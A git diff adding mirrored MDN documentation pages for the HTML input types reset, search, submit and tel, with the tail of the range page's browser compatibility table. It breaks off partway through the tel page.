+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
range4122310113.14.4
2–4.4Pre-Chromium Android WebView recognizes the range type, but doesn't implement a range-specific control.
+		57521157.0
tick_marksYes≤79109NoYes12.1YesYes109Yes12.2Yes
vertical_orientation
YesThe slider can be oriented vertically by setting the non-standard -webkit-appearance: slider-vertical style on the input element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers.
12The slider can be oriented vertically by setting the writing-mode: bt-lr style on the input element.
No
10The slider can be oriented vertically by setting the writing-mode: bt-lr style on the input element.
YesThe slider can be oriented vertically by setting the non-standard -webkit-appearance: slider-vertical style on the input element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers.
YesThe slider can be oriented vertically by setting the non-standard -webkit-appearance: slider-vertical style on the input element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers.
YesThe slider can be oriented vertically by setting the non-standard -webkit-appearance: slider-vertical style on the input element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers.
YesThe slider can be oriented vertically by setting the non-standard -webkit-appearance: slider-vertical style on the input element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers.
No
YesThe slider can be oriented vertically by setting the non-standard -webkit-appearance: slider-vertical style on the input element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers.
YesThe slider can be oriented vertically by setting the non-standard -webkit-appearance: slider-vertical style on the input element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers.
YesThe slider can be oriented vertically by setting the non-standard -webkit-appearance: slider-vertical style on the input element. You shouldn't use this, since it's proprietary, unless you include appropriate fallbacks for users of other browsers.
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/range +

+
diff --git a/devdocs/html/element%2Finput%2Freset.html b/devdocs/html/element%2Finput%2Freset.html new file mode 100644 index 00000000..944b3e0c --- /dev/null +++ b/devdocs/html/element%2Finput%2Freset.html @@ -0,0 +1,140 @@ +

<input type="reset">

<input> elements of type reset are rendered as buttons, with a default click event handler that resets all inputs in the form to their initial values.

+

Try it

+
+

Note: You should usually avoid including reset buttons in your forms. They're rarely useful, and are instead more likely to frustrate users who click them by mistake (often while trying to click the submit button).

+
+

Value

+

An <input type="reset"> element's value attribute contains a string that is used as the button's label. Buttons such as reset don't have a value otherwise.

+

Setting the value attribute

+
+
+

html

+
<input type="reset" value="Reset the form" />
+
+
+
+ + +
+
+

Omitting the value attribute

+
+

If you don't specify a value, you get a button with the default label (typically "Reset," but this will vary depending on the user agent):

+

html

+
<input type="reset" />
+
+
+
+ + +
+
+

Using reset buttons

+

<input type="reset"> buttons are used to reset forms. If you want to create a custom button and then customize the behavior using JavaScript, you need to use <input type="button">, or better still, a <button> element.

+

A simple reset button

+
+

We'll begin by creating a simple reset button:

+

html

+
<form>
+  <div>
+    <label for="example">Type in some sample text</label>
+    <input id="example" type="text" />
+  </div>
+  <div>
+    <input type="reset" value="Reset the form" />
+  </div>
+</form>
+
+

This renders like so:

+
+ + +

Try entering some text into the text field, and then pressing the reset button.

+
+

Adding a reset keyboard shortcut

+
+

To add a keyboard shortcut to a reset button — just as you would with any <input> for which it makes sense — you use the accesskey global attribute.

In this example, r is specified as the access key (you'll need to press r plus the particular modifier keys for your browser/OS combination; see accesskey for a useful list of those).

+

html

+
<form>
+  <div>
+    <label for="example">Type in some sample text</label>
+    <input id="example" type="text" />
+  </div>
+  <div>
+    <input type="reset" value="Reset the form" accesskey="r" />
+  </div>
+</form>
+
+
+
+ + +

The problem with the above example is that there's no way for the user to know what the access key is! This is especially true since the modifiers are typically non-standard to avoid conflicts. When building a site, be sure to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site access keys are). Adding a tooltip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes.

+
+

Disabling and enabling a reset button

+
+

To disable a reset button, specify the disabled attribute on it, like so:

+

html

+
<input type="reset" value="Disabled" disabled />
+
+

You can enable and disable buttons at run time by setting disabled to true or false; in JavaScript this looks like btn.disabled = true or btn.disabled = false.

Note: See the <input type="button"> page for more ideas about enabling and disabling buttons.

+
+

Validation

+

Buttons don't participate in constraint validation; they have no real value to be constrained.

+

Examples

+

We've included simple examples above. There isn't really anything more to say about reset buttons.

+

Technical summary

+
Value A string used as the button's label
Events click
Supported common attributes type and value
IDL attributes value
DOM interface

HTMLInputElement
Methods None
Implicit ARIA Role button
+

Specifications

+
+ + +
Specification
HTML Standard
# reset-button-state-(type=reset)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
reset112
1Unlike other browsers, Firefox by default persists the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.
Yes1514.418
4Unlike other browsers, Firefox by default persists the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.
1411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/reset +

+
diff --git a/devdocs/html/element%2Finput%2Fsearch.html b/devdocs/html/element%2Finput%2Fsearch.html new file mode 100644 index 00000000..e72af5b5 --- /dev/null +++ b/devdocs/html/element%2Finput%2Fsearch.html @@ -0,0 +1,307 @@ +

<input type="search">

<input> elements of type search are text fields designed for the user to enter search queries into. These are functionally identical to text inputs, but may be styled differently by the user agent.

+

Try it

+
+

Value

+
+

The value attribute contains a string representing the value contained in the search field. You can retrieve this using the HTMLInputElement.value property in JavaScript.

+

js

+
searchTerms = mySearch.value;
+
+

If no validation constraints are in place for the input (see Validation for more details), the value can be any text string or an empty string ("").

+
+

Additional attributes

+

In addition to the attributes that operate on all <input> elements regardless of their type, search field inputs support the following attributes.

+

list

+

The values of the list attribute is the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

+

maxlength

+
+

The maximum string length (measured in UTF-16 code units) that the user can enter into the search field. This must be an integer value of 0 or higher. If no maxlength is specified, or an invalid value is specified, the search field has no maximum length. This value must also be greater than or equal to the value of minlength.

The input will fail constraint validation if the length of the text entered into the field is greater than maxlength UTF-16 code units long.

+
+

minlength

+
+

The minimum string length (measured in UTF-16 code units) that the user can enter into the search field. This must be a non-negative integer value smaller than or equal to the value specified by maxlength. If no minlength is specified, or an invalid value is specified, the search input has no minimum length.

The search field will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long.

+
+

pattern

+
+

The pattern attribute, when specified, is a regular expression that the input's value must match for the value to pass constraint validation. It must be a valid JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.

If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely.

Note: Use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby.

See the section Specifying a pattern for details and an example.

+
+

placeholder

+
+

The placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text must not include carriage returns or line feeds.

If the control's content has one directionality (LTR or RTL) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see How to use Unicode controls for bidi text for more information.

Note: Avoid using the placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See <input> labels for more information.

+
+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by JavaScript code directly setting the HTMLInputElement value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

size

+
+

The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font (font settings in use).

This does not set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the maxlength attribute.

+
+

spellcheck

+
+

spellcheck is a global attribute which is used to indicate whether to enable spell checking for an element. It can be used on any editable content, but here we consider specifics related to the use of spellcheck on <input> elements. The permitted values for spellcheck are:

false

Disable spell checking for this element.

true

Enable spell checking for this element.

"" (empty string) or no value

Follow the element's default behavior for spell checking. This may be based upon a parent's spellcheck setting or other factors.

An input field can have spell checking enabled if it doesn't have the readonly attribute set and is not disabled.

The value returned by reading spellcheck may not reflect the actual state of spell checking within a control, if the user agent's preferences override the setting.

+
+

Non-standard attributes

+

The following non-standard attributes are available to search input fields. As a general rule, you should avoid using them unless it can't be helped.

+

autocorrect

+
+

A Safari extension, the autocorrect attribute is a string which indicates whether to activate automatic correction while the user is editing this field. Permitted values are:

on

Enable automatic correction of typos, as well as processing of text substitutions if any are configured.

off

Disable automatic correction and text substitutions.

+
+

incremental

+
+

The Boolean attribute incremental is a WebKit and Blink extension (so supported by Safari, Opera, Chrome, etc.) which, if present, tells the user agent to process the input as a live search. As the user edits the value of the field, the user agent sends search events to the HTMLInputElement object representing the search box. This allows your code to update the search results in real time as the user edits the search.

If incremental is not specified, the search event is only sent when the user explicitly initiates a search (such as by pressing the Enter or Return key while editing the field).

The search event is rate-limited so that it is not sent more frequently than an implementation-defined interval.

+
+

mozactionhint +

+
+

A Mozilla extension, which provides a hint as to what sort of action will be taken if the user presses the Enter or Return key while editing the field.

Deprecated: Use enterkeyhint instead.

+
+

results

+
+

The results attribute—supported only by Safari—is a numeric value that lets you override the maximum number of entries to be displayed in the <input> element's natively-provided drop-down menu of previous search queries.

The value must be a non-negative decimal number. If not provided, or an invalid value is given, the browser's default maximum number of entries is used.

+
+

Using search inputs

+

<input> elements of type search are very similar to those of type text, except that they are specifically intended for handling search terms. They are basically equivalent in behavior, but user agents may choose to style them differently by default (and, of course, sites may use stylesheets to apply custom styles to them).

+

Basic example

+
+
+

html

+
<form>
+  <div>
+    <input type="search" id="mySearch" name="q" />
+    <button>Search</button>
+  </div>
+</form>
+
+

This renders like so:

+
+ + +

q is the most common name given to search inputs, although it's not mandatory. When submitted, the data name/value pair sent to the server will be q=searchterm.

Note: You must remember to set a name for your input, otherwise nothing will be submitted.

+
+

Differences between search and text types

+
+

The main basic differences come in the way browsers handle them. The first thing to note is that some browsers show a cross icon that can be clicked on to remove the search term instantly if desired, in Chrome this action is also triggered when pressing escape. The following screenshot comes from Chrome:

Focused search input, with focus ring, with the text 'cats'. There is an x icon in the input abutting the right side.

In addition, modern browsers also tend to automatically store search terms previously entered across domains, which then come up as autocomplete options when subsequent searches are performed in search inputs on that domain. This helps users who tend to do searches on the same or similar search queries over time. This screenshot is from Firefox:

An input in error state with a red focus ring. The user has entered the letter 'h'. A pop-up selection list is open directly under the input box with two options: hello and hermansje.At this point, let's look at some useful techniques you can apply to your search forms.

+
+

Setting placeholders

+
+

You can provide a useful placeholder inside your search input that could give a hint on what to do using the placeholder attribute. Look at the following example:

+

html

+
<form>
+  <div>
+    <input
+      type="search"
+      id="mySearch"
+      name="q"
+      placeholder="Search the site…" />
+    <button>Search</button>
+  </div>
+</form>
+
+

You can see how the placeholder is rendered below:

+
+ + +
+
+

Search form labels and accessibility

+
+

One problem with search forms is their accessibility; a common design practice is not to provide a label for the search field (although there might be a magnifying glass icon or similar), as the purpose of a search form is normally fairly obvious for sighted users due to placement (this example shows a typical pattern).

This could, however, cause confusion for screen reader users, since they will not have any verbal indication of what the search input is. One way around this that won't impact on your visual design is to use WAI-ARIA features:

Let's have a look at an example:

+

html

+
<form role="search">
+  <div>
+    <input
+      type="search"
+      id="mySearch"
+      name="q"
+      placeholder="Search the site…"
+      aria-label="Search through site content" />
+    <button>Search</button>
+  </div>
+</form>
+
+

You can see how this is rendered below:

+
+ + +

There is no visual difference from the previous example, but screen reader users have way more information available to them.

Note: See Signposts/Landmarks for more information about such accessibility features.

+
+

Physical input element size

+
+

The physical size of the input box can be controlled using the size attribute. With it, you can specify the number of characters the input box can display at a time. In this example, for instance, the search box is 30 characters wide:

+

html

+
<form>
+  <div>
+    <input
+      type="search"
+      id="mySearch"
+      name="q"
+      placeholder="Search the site…"
+      size="30" />
+    <button>Search</button>
+  </div>
+</form>
+
+

The result is this wider input box:

+
+ + +
+
+

Validation

+
+

<input> elements of type search have the same validation features available to them as regular text inputs. It is less likely that you'd want to use validation features in general for search boxes. In many cases, users should just be allowed to search for anything, but there are a few cases to consider, such as searches against data of a known format.

Note: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database.

+
+

A note on styling

+
+

There are useful pseudo-classes available for styling valid/invalid form elements: :valid and :invalid. In this section, we'll use the following CSS, which will place a check (tick) next to inputs containing valid values, and a cross next to inputs containing invalid values.

+

css

+
input:invalid ~ span::after {
+  content: "✖";
+  padding-left: 5px;
+  position: absolute;
+}
+
+input:valid ~ span::after {
+  content: "✓";
+  padding-left: 5px;
+  position: absolute;
+}
+
+

The technique also requires a <span> element to be placed after the form element, which acts as a holder for the icons. This was necessary because some input types on some browsers don't display icons placed directly after them very well.

+
+

Making input required

+
+

You can use the required attribute as an easy way of making entering a value required before form submission is allowed:

+

html

+
<form>
+  <div>
+    <input
+      type="search"
+      id="mySearch"
+      name="q"
+      placeholder="Search the site…"
+      required />
+    <button>Search</button>
+    <span class="validity"></span>
+  </div>
+</form>
+
+

This renders like so:

+
+ + +

In addition, if you try to submit the form with no search term entered into it, the browser will show a message. The following example is from Firefox:

form field with attached message that says Please fill out this field

Different messages will be shown when you try to submit the form with different types of invalid data contained inside the inputs; see the below examples.

+
+

Input value length

+
+

You can specify a minimum length, in characters, for the entered value using the minlength attribute; similarly, use maxlength to set the maximum length of the entered value.

The example below requires that the entered value be 4–8 characters in length.

+

html

+
<form>
+  <div>
+    <label for="mySearch">Search for user</label>
+    <input
+      type="search"
+      id="mySearch"
+      name="q"
+      placeholder="User IDs are 4–8 characters in length"
+      required
+      size="30"
+      minlength="4"
+      maxlength="8" />
+    <button>Search</button>
+    <span class="validity"></span>
+  </div>
+</form>
+
+

This renders like so:

+
+ + +

If you try to submit the form with less than 4 characters, you'll be given an appropriate error message (which differs between browsers). If you try to go beyond 8 characters in length, the browser won't let you.

+
+

Specifying a pattern

+
+

You can use the pattern attribute to specify a regular expression that the inputted value must follow to be considered valid (see Validating against a regular expression for a simple crash course).

Let's look at an example. Say we wanted to provide a product ID search form, and the IDs were all codes of two letters followed by four numbers. The following example covers it:

+

html

+
<form>
+  <div>
+    <label for="mySearch">Search for product by ID:</label>
+    <input
+      type="search"
+      id="mySearch"
+      name="q"
+      placeholder="two letters followed by four numbers"
+      required
+      size="30"
+      pattern="[A-z]{2}[0-9]{4}" />
+    <button>Search</button>
+    <span class="validity"></span>
+  </div>
+</form>
+
+

This renders like so:

+
+ + +
+
+

Examples

+

You can see a good example of a search form used in context at our website-aria-roles example (see it live).

+

Technical summary

+
Value A string representing the value contained in the search field.
Events change and input
Supported Common Attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size.
IDL attributes value
DOM interface

HTMLInputElement
Methods select(), setRangeText(), setSelectionRange().
Implicit ARIA Role with no list attribute: searchbox + with list attribute: combobox +
+

Specifications

+
+ + +
Specification
HTML Standard
# text-(type=text)-state-and-search-state-(type=search)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
search51241010.654.4184144.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/search +

+
diff --git a/devdocs/html/element%2Finput%2Fsubmit.html b/devdocs/html/element%2Finput%2Fsubmit.html new file mode 100644 index 00000000..b1779a3a --- /dev/null +++ b/devdocs/html/element%2Finput%2Fsubmit.html @@ -0,0 +1,160 @@ +

<input type="submit">

<input> elements of type submit are rendered as buttons. When the click event occurs (typically because the user clicked the button), the user agent attempts to submit the form to the server.

+

Value

+

An <input type="submit"> element's value attribute contains a string which is displayed as the button's label. Buttons do not have a true value otherwise.

+

Setting the value attribute

+
+
+

html

+
<input type="submit" value="Send Request" />
+
+
+
+ + +
+
+

Omitting the value attribute

+
+

If you don't specify a value, the button will have a default label, chosen by the user agent. This label is likely to be something along the lines of "Submit" or "Submit Query." Here's an example of a submit button with a default label in your browser:

+

html

+
<input type="submit" />
+
+
+
+ + +
+
+

Additional attributes

+

In addition to the attributes shared by all <input> elements, submit button inputs support the following attributes.

+

formaction

+
+

A string indicating the URL to which to submit the data. This takes precedence over the action attribute on the <form> element that owns the <input>.

This attribute is also available on <input type="image"> and <button> elements.

+
+

formenctype

+
+

A string that identifies the encoding method to use when submitting the form data to the server. There are three permitted values:

application/x-www-form-urlencoded

This, the default value, sends the form data as a string after URL encoding the text using an algorithm such as encodeURI().

multipart/form-data

Uses the FormData API to manage the data, allowing for files to be submitted to the server. You must use this encoding type if your form includes any <input> elements of type file (<input type="file">).

text/plain

Plain text; mostly useful only for debugging, so you can easily see the data that's to be submitted.

If specified, the value of the formenctype attribute overrides the owning form's action attribute.

This attribute is also available on <input type="image"> and <button> elements.

+
+

formmethod

+
+

A string indicating the HTTP method to use when submitting the form's data; this value overrides any method attribute given on the owning form. Permitted values are:

get

A URL is constructed by starting with the URL given by the formaction or action attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by formenctype or the form's enctype attribute. This URL is then sent to the server using an HTTP get request. This method works well for simple forms that contain only ASCII characters and have no side effects. This is the default value.

post

The form's data is included in the body of the request that is sent to the URL given by the formaction or action attribute using an HTTP post method. This method supports complex data and file attachments.

dialog

This method is used to indicate that the button closes the dialog with which the input is associated, and does not transmit the form data at all.

This attribute is also available on <input type="image"> and <button> elements.

+
+

formnovalidate

+
+

A Boolean attribute which, if present, specifies that the form should not be validated before submission to the server. This overrides the value of the novalidate attribute on the element's owning form.

This attribute is also available on <input type="image"> and <button> elements.

+
+

formtarget

+
+

A string which specifies a name or keyword that indicates where to display the response received after submitting the form. The string must be the name of a browsing context (that is, a tab, window, or <iframe>). A value specified here overrides any target given by the target attribute on the <form> that owns this input.

In addition to the actual names of tabs, windows, or inline frames, there are a few special keywords that can be used:

_self

Loads the response into the same browsing context as the one that contains the form. This will replace the current document with the received data. This is the default value used if none is specified.

_blank

Loads the response into a new, unnamed, browsing context. This is typically a new tab in the same window as the current document, but may differ depending on the configuration of the user agent.

_parent

Loads the response into the parent browsing context of the current one. If there is no parent context, this behaves the same as _self.

_top

Loads the response into the top-level browsing context; this is the browsing context that is the topmost ancestor of the current context. If the current context is the topmost context, this behaves the same as _self.

This attribute is also available on <input type="image"> and <button> elements.

+
+

Using submit buttons

+
+

<input type="submit"> buttons are used to submit forms. If you want to create a custom button and then customize the behavior using JavaScript, you need to use <input type="button">, or better still, a <button> element.

If you choose to use <button> elements to create the buttons in your form, keep this in mind: If the <button> is inside a <form>, that button will be treated as the "submit" button. So you should be in the habit of expressly specifying which button is the submit button.

+
+

A simple submit button

+
+

We'll begin by creating a form with a simple submit button:

+

html

+
<form>
+  <div>
+    <label for="example">Let's submit some text</label>
+    <input id="example" type="text" name="text" />
+  </div>
+  <div>
+    <input type="submit" value="Send" />
+  </div>
+</form>
+
+

This renders like so:

+
+ + +

Try entering some text into the text field, and then submitting the form.

Upon submitting, the data name/value pair gets sent to the server. In this instance, the string will be text=usertext, where "usertext" is the text entered by the user, encoded to preserve special characters. Where and how the data is submitted depends on the configuration of the <form>; see Sending form data for more details.

+
+

Adding a keyboard shortcut to a submit button

+
+

Keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. To add a keyboard shortcut to a submit button — just as you would with any <input> for which it makes sense — you use the accesskey global attribute.

In this example, s is specified as the access key (you'll need to press s plus the particular modifier keys for your browser/OS combination). In order to avoid conflicts with the user agent's own keyboard shortcuts, different modifier keys are used for access keys than for other shortcuts on the host computer. See accesskey for further details.

Here's the previous example with the s access key added:

+

html

+
<form>
+  <div>
+    <label for="example">Let's submit some text</label>
+    <input id="example" type="text" name="text" />
+  </div>
+  <div>
+    <input type="submit" value="Send" accesskey="s" />
+  </div>
+</form>
+
+

For example, in Firefox for Mac, pressing Control-Option-S triggers the Send button, while Chrome on Windows uses Alt+S.

+
+ + +

The problem with the above example is that the user will not know what the access key is! This is especially true since the modifiers are typically non-standard to avoid conflicts. When building a site, be sure to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site access keys are). Adding a tooltip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes.

+
+

Disabling and enabling a submit button

+
+

To disable a submit button, specify the disabled attribute on it, like so:

+

html

+
<input type="submit" value="Send" disabled />
+
+

You can enable and disable buttons at run time by setting disabled to true or false; in JavaScript this looks like btn.disabled = true or btn.disabled = false.

Note: See the <input type="button"> page for more ideas about enabling and disabling buttons.

+
+

Validation

+

Submit buttons don't participate in constraint validation; they have no real value to be constrained.

+

Examples

+

We've included simple examples above. There isn't really anything more to say about submit buttons. There's a reason this kind of control is sometimes called a "simple button."

+

Technical Summary

+
Value A string used as the button's label
Events click
Supported common attributes type and value
IDL attributes value
DOM interface

HTMLInputElement
Methods None
Implicit ARIA Role button
+

Specifications

+
+ + +
Specification
HTML Standard
# submit-button-state-(type=submit)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
submit112
1Unlike other browsers, Firefox by default persists the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.
Yes1514.418
4Unlike other browsers, Firefox by default persists the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.
1411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/submit +

+
diff --git a/devdocs/html/element%2Finput%2Ftel.html b/devdocs/html/element%2Finput%2Ftel.html new file mode 100644 index 00000000..eaf764c9 --- /dev/null +++ b/devdocs/html/element%2Finput%2Ftel.html @@ -0,0 +1,379 @@ +

<input type="tel">

<input> elements of type tel are used to let the user enter and edit a telephone number. Unlike <input type="email"> and <input type="url">, the input value is not automatically validated to a particular format before the form can be submitted, because formats for telephone numbers vary so much around the world.

+

Try it

+
+

Despite the fact that inputs of type tel are functionally identical to standard text inputs, they do serve useful purposes; the most quickly apparent of these is that mobile browsers — especially on mobile phones — may opt to present a custom keypad optimized for entering phone numbers. Using a specific input type for telephone numbers also makes adding custom validation and handling of phone numbers more convenient.

Note: Browsers that don't support type tel fall back to being a standard text input.

+
+

Value

+

The <input> element's value attribute contains a string that either represents a telephone number or is an empty string ("").

+

Additional attributes

+

In addition to the attributes that operate on all <input> elements regardless of their type, telephone number inputs support the following attributes.

+

list

+

The values of the list attribute is the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

+

maxlength

+
+

The maximum string length (measured in UTF-16 code units) that the user can enter into the telephone number field. This must be an integer value of 0 or higher. If no maxlength is specified, or an invalid value is specified, the telephone number field has no maximum length. This value must also be greater than or equal to the value of minlength.

The input will fail constraint validation if the length of the text entered into the field is greater than maxlength UTF-16 code units long.

+
+

minlength

+
+

The minimum string length (measured in UTF-16 code units) that the user can enter into the telephone number field. This must be a non-negative integer value smaller than or equal to the value specified by maxlength. If no minlength is specified, or an invalid value is specified, the telephone number input has no minimum length.

The telephone number field will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long.

+
+

pattern

+
+

The pattern attribute, when specified, is a regular expression that the input's value must match for the value to pass constraint validation. It must be a valid JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.

If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely.

Note: Use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby.

See Pattern validation below for details and an example.

+
+

placeholder

+
+

The placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text must not include carriage returns or line feeds.

If the control's content has one directionality (LTR or RTL) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see How to use Unicode controls for bidi text for more information.

Note: Avoid using the placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See <input> labels for more information.

+
+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by JavaScript code directly setting the HTMLInputElement value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

size

+
+

The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font (font settings in use).

This does not set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the maxlength attribute.

+
+

Non-standard attributes

+

The following non-standard attributes are available to telephone number input fields. As a general rule, you should avoid using them unless it can't be helped.

+

autocorrect

+
+

A Safari extension, the autocorrect attribute is a string which indicates whether to activate automatic correction while the user is editing this field. Permitted values are:

on

Enable automatic correction of typos, as well as processing of text substitutions if any are configured.

off

Disable automatic correction and text substitutions.

+
+

mozactionhint +

+
+

A Mozilla extension, which provides a hint as to what sort of action will be taken if the user presses the Enter or Return key while editing the field.

Deprecated: Use enterkeyhint instead.

+
+

Using tel inputs

+
+

Telephone numbers are a very commonly collected type of data on the web. When creating any kind of registration or e-commerce site, for example, you will likely need to ask the user for a telephone number, whether for business purposes or for emergency contact purposes. Given how commonly-entered phone numbers are, it's unfortunate that a "one size fits all" solution for validating phone numbers is not practical.

Fortunately, you can consider the requirements of your own site and implement an appropriate level of validation yourself. See Validation, below, for details.

+
+

Custom keyboards

+
+

One of the main advantages of <input type="tel"> is that it causes mobile browsers to display a special keyboard for entering phone numbers. For example, here's what the keypads look like on a couple of devices.

Firefox for Android WebKit iOS (Safari/Chrome/Firefox)
Firefox for Android screen shot Firefox for iOS screenshot
+
+

A simple tel input

+
+

In its most basic form, a tel input can be implemented like this:

+

html

+
<label for="telNo">Phone number:</label>
+<input id="telNo" name="telNo" type="tel" />
+
+
+
+ + +

There is nothing magical going on here. When submitted to the server, the above input's data would be represented as, for example, telNo=+12125553151.

+
+

Placeholders

+
+

Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each <input>. This is where placeholders come in. A placeholder is a value that demonstrates the form the value should take by presenting an example of a valid value, which is displayed inside the edit box when the element's value is "". Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears.

Here, we have an tel input with the placeholder 123-4567-8901. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field.

+

html

+
<input id="telNo" name="telNo" type="tel" placeholder="123-4567-8901" />
+
+
+
+ + +
+
+

Controlling the input size

+
+

You can control not only the physical length of the input box, but also the minimum and maximum lengths allowed for the input text itself.

Physical input element size

The physical size of the input box can be controlled using the size attribute. With it, you can specify the number of characters the input box can display at a time. In this example, for instance, the tel edit box is 20 characters wide:

+

html

+
<input id="telNo" name="telNo" type="tel" size="20" />
+
+
+
+ + +

Element value length

The size is separate from the length limitation on the entered telephone number. You can specify a minimum length, in characters, for the entered telephone number using the minlength attribute; similarly, use maxlength to set the maximum length of the entered telephone number.

The example below creates a 20-character wide telephone number entry box, requiring that the contents be no shorter than 9 characters and no longer than 14 characters.

+

html

+
<input
+  id="telNo"
+  name="telNo"
+  type="tel"
+  size="20"
+  minlength="9"
+  maxlength="14" />
+
+
+
+ + +

Note: The above attributes do affect Validation — the above example's inputs will count as invalid if the length of the value is less than 9 characters, or more than 14. Most browser won't even let you enter a value over the max length.

+
+

Providing default options

+
+

Providing a single default using the value attribute

As always, you can provide a default value for an tel input box by setting its value attribute:

+

html

+
<input id="telNo" name="telNo" type="tel" value="333-4444-4444" />
+
+
+
+ + +

Offering suggested values

